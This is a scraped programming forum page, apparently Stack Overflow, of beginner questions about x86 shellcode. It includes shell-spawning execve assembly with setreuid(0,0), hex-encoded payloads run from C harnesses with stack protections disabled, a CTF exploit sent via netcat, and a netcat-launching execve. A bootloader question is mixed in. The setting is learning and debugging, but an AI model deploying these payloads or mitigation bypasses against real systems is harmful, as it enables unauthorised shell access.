Aright I wrote an ASM file that spawns a shell.
However, the .text section becomes "READONLY", so I'm keeping everything in the .data section. When I compile it with NASM and ld, it works perfectly. Then, when I use the shellcode and run it in a C program, I seg fault.
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
When I compile it with:
nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o
Everything works perfectly. I can ./shell and a shell spawns. However, when i use:
objdump -D shell (objdump -d shell doesn't show the .data section)
And change that into \x?? format, I cannot exectute the shell.
Shellcode:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32
And in the C file:
#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
int main(){
printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}
Seg fault.
Here is the first few lines of the strace output of the NASM compiled file:
[root#Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0) = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]
Now, here is the strace output of the C compiled file with the shellcode:
[root#Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0) = 0x238b000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
In your c program, replace:
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";
with
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";
Otherwise gcc will put it in a readonly section (compile with -S to produce asm and take a look at the section)
Furthermore, you might need to compile it with -fno-stack-protector -z execstack to avoid stack protection.
It is not possible to do something like this.
The first problem: If you compile the C program as 64 bit program you cannot mix it with 32 bit code. I assume you did that.
And the second one: Even if you compile the C program as 32 bit program (you'll have to install the 32 bit shared libraries so you can run it) you cannot run the program. This is because the memory management of Linux will prohibit execution of code in a data section by setting the NX bit of the MMU.
This means: Trying to execute code in a string (as you do) will cause a segmentation fault!
Related
So I wanted to convert a compiled C program into Hex format so that I can inject it inside the memory. The problem I am currently facing is that I have no idea how to convert a compiled C file to hex. Can someone show me how it's done?
My C Code (temp.c):
#include <stdio.h>
void main(){
printf("Working!");
}
Compiled it using gcc:
gcc -g temp.c -o temp -m32
You can write in assembly using write(); syscall and exit(); syscall.
Here code I wrote, file w.asm :
global _start
section .text
_start:
push byte 0x0a
push dword "ing!"
push dword "Work"
inc ebx
mov ecx, esp
mov dl, 9
mov al, 4
int 0x80
xor ebx, ebx
mov al, 1
int 0x80
Assembling and linking using nasm and ld :
nasm -f elf w.asm && ld -o w w.o
Dump binary file into hex (shellcode style) using objdump one-liner like this:
objdump -d ./w | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
You will get the result like this :
"\x6a\x0a\x68\x69\x6e\x67\x21\x68\x57\x6f\x72\x6b\x43\x89\xe1\xb2\x09\xb0\x04\xcd\x80\x31\xdb\xb0\x01\xcd\x80"
I am a Shellcode beginner and I started some CTFs.
But I am stuck at the most basic exercise.
Let's say I have a program. This program gives me the pointer address of execve : 0x8048450
Let's say there is a char array "\bin\sh" of which I also have the address : 0x80486a5
The vulnerable code is :
char input[4096];
read(0, input, 4096);
((func)&input)();
The problem is that I do not have many information on the architecture targeted because I have no binary but I think it is 32-bit.
Here is my code :
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
Then I run :
nasm -f elf -o shellcode.o shellcode.asm
and
ld -o shellcode shellcode.o -m elf_i386
Which gives
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
I execute
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
but nothing.
Do I have to put a NOP sled to fulfill the byte array ?
Thank you for reading me !
I am following a tutorial about creating a 32bit operating system. I have managed to switch to the 32bit protected mode happily but could not get further.
Below, boot_sect.asm is the main assembly code. After switching to protected mode inside boot_sect.asm, an external C function (kmain) is called via kernel_entry.asm (calls the c function) from boot_sect.asm. The location of the C function in the ram is 0x1000000.
The kmain() is supposed to print an x on the screen. However, this does not happen. Indeed, to diagnose the code, I put an infinite while loop inside the kmain(), but the program did not hang there; instead it directly ended. I guess the files are not linked properly or there is a memory overlap problem. I could not get any further, and I am stuck at this point.
I would appreciate any idea or help to get over this step.
boot_sect.asm (the main asm code)
; A boot sector that boots a C kernel in 32-bit protected mode
[bits 16]
[org 0x7c00]
KERNEL_OFFSET equ 0x100000 ; This is the memory offset to where kernel will be loaded
mov [BOOT_DRIVE], dl
mov bp, 0x9000 ; stack origin.
mov sp, bp
mov bx, MSG_REAL_MODE ;print that we are starting
call print_string ; booting from 16-bit real mode
call load_kernel ; Load our kernel
call switch_to_pm ; Switch to protected mode, from which
; we will not return
jmp $
; Include our useful , hard-earned routines
%include "print/print_string.asm"
%include "disk/disk_load.asm"
%include "pm/gdt.asm"
%include "pm/print_string_pm.asm"
%include "pm/switch_to_pm.asm"
[bits 16]
; load_kernel
load_kernel:
mov bx, MSG_LOAD_KERNEL ; Print a message to say we are loading the kernel
call print_string
mov bx, KERNEL_OFFSET ; Set-up parameters for our disk_load routine , so
mov dh, 15 ; that we load the first 15 sectors (excluding
mov dl, [BOOT_DRIVE] ; the boot sector) from the boot disk (i.e. our
call disk_load ; kernel code) to address KERNEL_OFFSET
ret
[bits 32]
BEGIN_PM:
mov ebx, MSG_PROT_MODE ; Use 32-bit print routine to
call print_string_pm ; announce its in protected mode
;the program manages to come here perfectly.
;here the kmain() function is called via kernel_entry.asm
;but after this call, the program gets "lost", it ends somehow.
call KERNEL_OFFSET
;it cant even get here, it ends before getting here. Probably the kmain() is not located at KERNEL_OFFSET due to a problem.
jmp $ ;Hang.
; Global variables
BOOT_DRIVE db 0
MSG_REAL_MODE db "Started in 16-bit Real Mode", 0
MSG_PROT_MODE db "Successfully landed in 32-bit Protected Mode", 0
MSG_LOAD_KERNEL db "Loading kernel into memory.", 0
; Bootsector padding
times 510-($-$$) db 0
dw 0xaa55
kernel.c (c code)
void kmain()
{
char* screen = (char*)0xb8000;
screen[0] = 'X';
}
kernel_entry.asm (calls the c code)
[bits 32]
[extern _kmain]
call _kmain
jmp $
Finally, to obtain the os-image , I used the following commands
kernel.c and kernel_entry.asm are converted to object files (nasm and gcc commands), then they are linked to create kernel.bin file (by using ld command and the address 0x100000 of the kmain()).
Then kernel.bin and boot_sect.bin are combined using type command to obtain an os image.
gcc -m32 -ffreestanding -c kernel.c -o kernel.o
nasm kernel_entry.asm -f elf -o kernel_entry.o
ld -m i386pe -T NUL -o kernel.bin -Ttext-segment 0x100000 kernel_entry.o kernel.o
nasm boot_sect.asm -f bin -o boot_sect.bin
type boot_sect.bin kernel.bin > os-image
I created an assembly program to execute a shell:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
and since I am working on a 64bit machine, I compiled and linked the program using
nasm -f elf shellcode.asm
ld -m elf_i386 shellcode.o -o shellcode
and produced the shellcode using objdump. The compiled and linked program works absolutely fine. The problem however, is that the shellcode doesn't work in this C program:
// shellcode.c
#include <stdio.h>
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
fprintf(stdout ,"Length: %d\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
I know the shellcode written in the above shellcode array may be wrong, but that's not the case. Even with the right shellcode, the problem persists. Is it a matter of conflict because the architecture? I don't however think so because the program as compiled for 32bit machines and successfully linked, and I know that 64bit machines are backward compatible with 32bit machines. I have tried compiling the C program using the -fno-stack-protector -z execstack parameter and disabling ASLR but nothing happened.
I am trying to learn about assembly and shellcode. I am having a problem that has been driving me nuts for days. I have written some assembly to make a system call to execve. The assembled file works, but when I convert it to shellcode and try to run it from a C program, I get a segmentation fault. I have tried all sorts of variations, but nothing works. Currently, the nasm code is as follows:
global _start
section .data
cmd: db '/bin/netcat', 0
argv0: db 'netcat', 0
argv1: db '127.0.0.1', 0
argv2: db '3333', 0
argv: dd argv0, argv1, argv2, 0
section .text
_start:
mov ebx, cmd ; filename parameter
mov ecx, argv ; argv parameter
xor edx, edx ; envp parameter
mov al, 11 ; execve system call number. Moving to al rather than eax to prevent null bytes in shellcode.
int 0x80
; exit
xor ebx, ebx ; status code 0
mov al, 1 ; sys_exit
int 0x80
I assembled this with the following command:
nasm -f elf32 test.asm -o test.o && ld -m elf_i386 test.o -o test
Running test works fine. I obtained the shellcode from test using the command from this page and of course, replacing ./PROGRAM with ./test.
Finally, I have the following C code:
unsigned char[] = "\xbb\x98\x90\x04\x08\xb9\xba\x90\x04\x08\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80";
main()
{
int (*ret)() = (int(*)())code;
ret();
}
Compiled with:
gcc -g -m32 -fno-stack-protector -z execstack testshellcode.c -o testshellcode
Running testshellcode results in a Segmentation fault. I have tried various things like making code a const, compiling with different flags, and about 1,000 variations of the nasm code. I have successfully run other shellcode that calls execve, but argv was simple in those cases.
Using gdb, I can see it crashes when ret() is called. Looking at the registers after the segmentation fault:
eax 0xffffffda -38
ecx 0x80490ba 134516922
edx 0x0 0
ebx 0x0 0
esp 0xbffff14c 0xbffff14c
ebp 0xbffff178 0xbffff178
eip 0x804a03a 0x804a03a <code+22>
eflags 0x10246 [ PF ZF IF RF ]
Any help would be highly appreciated.